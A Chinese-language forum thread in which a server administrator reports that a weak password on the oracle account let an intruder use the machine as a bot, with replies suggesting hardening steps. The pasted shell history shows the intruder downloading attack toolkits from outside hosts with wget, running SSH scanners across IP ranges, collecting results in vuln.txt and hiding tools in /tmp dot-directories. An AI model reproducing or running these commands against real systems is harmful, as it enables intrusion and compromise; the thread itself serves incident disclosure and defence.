oracle 用户密码设置简单，第一次机器被人当肉鸡了

fsm11

657  cat /proc/cpuinfo
  658  w
  659  ls
  660  cd /dev/shm/
  661  ls -a
  662  cd /tmp/
  663  ls
  664  ls -a
  665  id
  666  cd /var/tmp/
  667  ls
  668  ls -a
  669  cd .oracle/
  670  ls
  671  cd
  672  cd /tmp/
  673  ls
  674  ls -a
  675  rm -rf gosh.tgz
  676  ls
  677  tar xvf m
  678  tar xvf multiscan.tgz
  679  cd .vox/
  680  ./a 124.124
  681  cd ..
  682  ls
  683  uname -a
  684  wget http://y2khom3.evonet.ro/unixcod.tar.gz
  685  cd .vox/
  686  screen -r
  687  screen
  688  screen
  689  screen -r
  690  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  691  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  692  uname -a
  693  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  694  cd ..
  695  ls
  696  wget http://freewebtown.com/dorin/e.tgz
  697  cd .vox/
  698  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  699  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  700  cd /tmp/
  701  cd .vox/
  702  cat vuln.txt
  703  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  704  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  705  cd /dev/shm/
  706  cd .v
  707  cd /tmp/
  708  cd .vox/
  709  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  710  ./a 213.5
  711  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  712  w
  713  cd /tmp/
  714  cd .vox/
  715  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  716  cat vuln.txt
  717  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  718  ./a 124.124
  719  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  720  cat vuln.txt
  721  ./a 83.69
  722  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  723  cat vuln.txt
  724  w
  725  cd /tmp/
  726  cd .vox/
  727  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  728  cat vuln.txt
  729  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  730  cd tm
  731  ccd /tmp/
  732  cd .viminfo
  733  cd .viminfo
  734  cd .vox
  735  w
  736  cd /dev/shm/
  737  cd .v
  738  ls -a
  739  screen -r
  740  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  741  cd /tmp/
  742  cd .vox/
  743  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  744  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  745  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  746  ./a 210.17
  747  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  748  w
  749  cd /tmp/
  750  cd .vox/
  751  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  752  cat vuln.txt
  753  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  754  cd /tmp/
  755  cd .vox/
  756  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
757  cat vuln.txt
  758  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  759  w
  760  cd /tmp/
  761  cd .vox/
  762  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  763  cat vuln.txt
  764  cd /dev/shm/
  765  cd .v
  766  cd /tmp/
  767  w
  768  cd .vox/
  769  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  770  cat vuln.txt
  771  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  772  w
  773  cd /tmp/
  774  cd .vox/
  775  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  776  cat vuln.txt
  777  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  778  w
  779  cd /tmp/
  780  cd .vox/
  781  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  782  nano
  783  cd ..
  784  wget  
  785  tar xzvf b.jpg
  786  cd .ICE-
  787  cd .ICE-UNIX/
  788  nano install
  789  ./start maka
  790  cd ..
  791  ls
  792  rm -rf b.jpg multiscan.tgz
  793  w
  794  cd /tmp/
  795  cd .vox/
  796  rm -rf b.jpg multiscan.tgz
  797  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  798  cat vuln.txt
  799  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  800  ./a 211.154
  801  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  802  ./a 188.217
  803  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  804  ./a 61.96
  805  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  806  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  807  ./a 89.114
  808  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  809  ./a 124.124
  810  w
  811  ls
  812  cd /tmp/
  813  cd .vox/
  814  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  815  cat vuln.txt
  816  w
  817  cd /tmp/
  818  cd .vox/
  819  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  820  cat vuln.txt
  821  cd /tmp/
  822  cd .vox/
  823  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  824  cat vuln.txt
  825  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  826  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  827  cd /tmp/
  828  cd .vox/
  829  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  830  cat vuln.txt
  831  ./a 203.235
  832  ./a 203.236
  833  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  834  ./a 203.237
  835  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  836  cat vuln.txt
  837  ./a 203.238
  838  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  839  ./a 203.239
  840  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  841  ./a 203.234
  842  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  843  ./a 203.233
  844  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  845  ./a 203.232
  846  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  847  cat vuln.txt
  848  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  849  ./a 203.231
  850  cat vuln.txt
  851  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  852  ./a 203.230
  853  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  854  cat vuln.txt
  855  rm -rf vuln.txt
  856  touch vuln.txt
  857  screen -r 6598.pts-0.lx;screen -r 6541.pts-0.lx;
  858  cat vuln.txt
  
服务器 有大量的ssh-scan 进程
Aug 15 07:10:18  sshd[6404]: Accepted password for oracle from ::ffff:91.142.211.42 port 36258 ssh2
Aug 15 07:11:43  sshd[6472]: Accepted password for oracle from ::ffff:91.142.211.42 port 36361 ssh2
Aug 15 16:23:39  sshd[29523]: Accepted password for oracle from ::ffff:91.142.211.42 port 53247 ssh2
Aug 15 16:49:33  sshd[31424]: Accepted password for oracle from ::ffff:91.142.211.42 port 54272 ssh2
Aug 15 18:43:50  sshd[2745]: Accepted password for oracle from ::ffff:91.142.211.42 port 58091 ssh2
Aug 15 21:23:23  sshd[14983]: Accepted password for oracle from ::ffff:91.142.211.42 port 34298 ssh2
Aug 15 22:04:38  sshd[16305]: Accepted password for oracle from ::ffff:91.142.211.42 port 33369 ssh2
Aug 15 23:26:09  sshd[19404]: Accepted password for oracle from ::ffff:91.142.211.42 port 57308 ssh2

同一个IP

这次入侵看来还是比较友好的入侵，只是把我的服务器当肉鸡来扫描其他的IP段的机器。没有做什么破坏性的操作

platinum

比较好奇，如果得知了 oracle 的密码，如何通过 oracle 获取 root 权限？

fsm11

呵呵，普通用户的下的提权工具可以做到，我这个只是在oracle 用户下跑的ssh-scan，没有在root 用户下跑。

chenyx

先修改下ssh默认端口吧

Fjcyz

修改密码,修改只允许IP远程.

只爱睡觉

回复 3# fsm11


  最严重的问题出现了，内核版本可溢出。

fsm11

回复  fsm11


  最严重的问题出现了，内核版本可溢出。
只爱睡觉 发表于 2010-08-20 18:23

  恩